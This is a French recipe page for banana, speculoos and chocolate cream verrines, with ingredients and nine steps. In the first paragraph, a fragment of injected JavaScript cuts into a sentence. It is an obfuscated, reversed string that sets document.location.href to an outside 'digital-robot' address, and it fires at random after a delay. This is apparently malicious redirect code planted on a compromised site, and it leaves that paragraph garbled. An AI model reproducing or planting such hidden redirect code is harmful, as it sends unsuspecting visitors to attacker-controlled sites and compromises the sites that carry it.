Crème à la banane et au chocolat

2021-05-17

Écrasez les spéculoos  en les déposant dans un tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torchon et les écraser avec le rouleau à pâtisserie. Coupez-les bananes en rondelles. Les citronner pour éviter qu’elles noircissent.

Ingrédients

  • Pour 6 personnes
  • 80 g de spéculoos
  • 3 bananes
  • 1 jus de citron jaune
  • 500 g de fromage blanc
  • 6 cuillères à soupe de miel d'acacia liquide
  • 5 cuillères à soupe de crème fleurette
  • 2 cuillères à soupe de sucre en poudre
  • Des pépites de chocolat

Préparation de la recette

Etape 1

Écrasez les spéculoos en les déposant dans un torchon et les écraser avec le rouleau à pâtisserie.

Etape 2

Coupez-les bananes en rondelles.

Etape 3

Les citronner pour éviter qu'elles noircissent.

Etape 4

Dans un récipient mélangez la crème et le fromage blanc, ajoutez le sucre en poudre.

Etape 5

Répartissez la moitié de cette préparation dans le fond de 6 verrines.

Etape 6

Parsemez de miettes de spéculoos, ajoutez une cuillère à soupe de miel dans chaque verrine.

Etape 7

Quelques rondelles de bananes.

Etape 8

Recouvrez avec le reste de fromage blanc.

Etape 9

Décorez avec des rondelles de bananes et quelques pépites de chocolat

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